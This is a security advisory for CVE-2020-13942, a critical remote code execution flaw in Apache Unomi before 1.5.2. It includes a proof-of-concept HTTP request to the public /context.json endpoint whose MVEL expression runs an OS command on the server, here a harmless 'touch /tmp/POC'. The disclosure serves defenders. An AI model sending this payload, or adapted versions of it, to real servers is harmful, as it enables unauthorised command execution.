Disclosed vulnerabilities
Fixed: Nov 13, 2020
CVE-2020-13942 Published: Nov 17, 2020

Remote Code Execution in Apache Unomi using `MVEL` and `OGNL` expressions

9.8 Critical Severity JAVA RCE unomi
Eugene Rojavski Reported by Checkmarx Zero

Summary

Affected versions of Apache Unomi allows remote attackers to send malicious requests with MVEL and OGNL expressions that could contain arbitratry classes resulting in Remote Code Execution (RCE).

Product

Apache Unomi before 1.5.2

Impact

The vulnerability is triggered through a public endpoint and allows an attacker to run OS commands on the vulnerable server.

Steps to reproduce

Make the following HTTP request which contains a parameter containing a MVEL expression (script::Runtime r = Runtime.getRuntime(); r.exec(”touch /tmp/POC”);).

POST /context.json HTTP/1.1
...
Content-Length: 325
{
    "filters": [
        {
            "id": "filter1",
            "filters": [
                {
                    "condition": {
                        "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime();
r.exec("touch /tmp/POC");"
                        },
                        "type": "profilePropertyCOndition"


                    }
                }
            ]
        }
    ],
    "sessionId": "demo-session-id"
}

Expected result:

A file named POC will be created in /tmp folder.

Remediation

Update Apache Unomi to 1.5.2 and above

Credit

This issue was discovered and reported by Checkmarx Security Researcher Eugene Rojavski.

Resources

  1. Blog
  2. Advisory
  3. 0b81ba3

Stay connected and never miss a research update!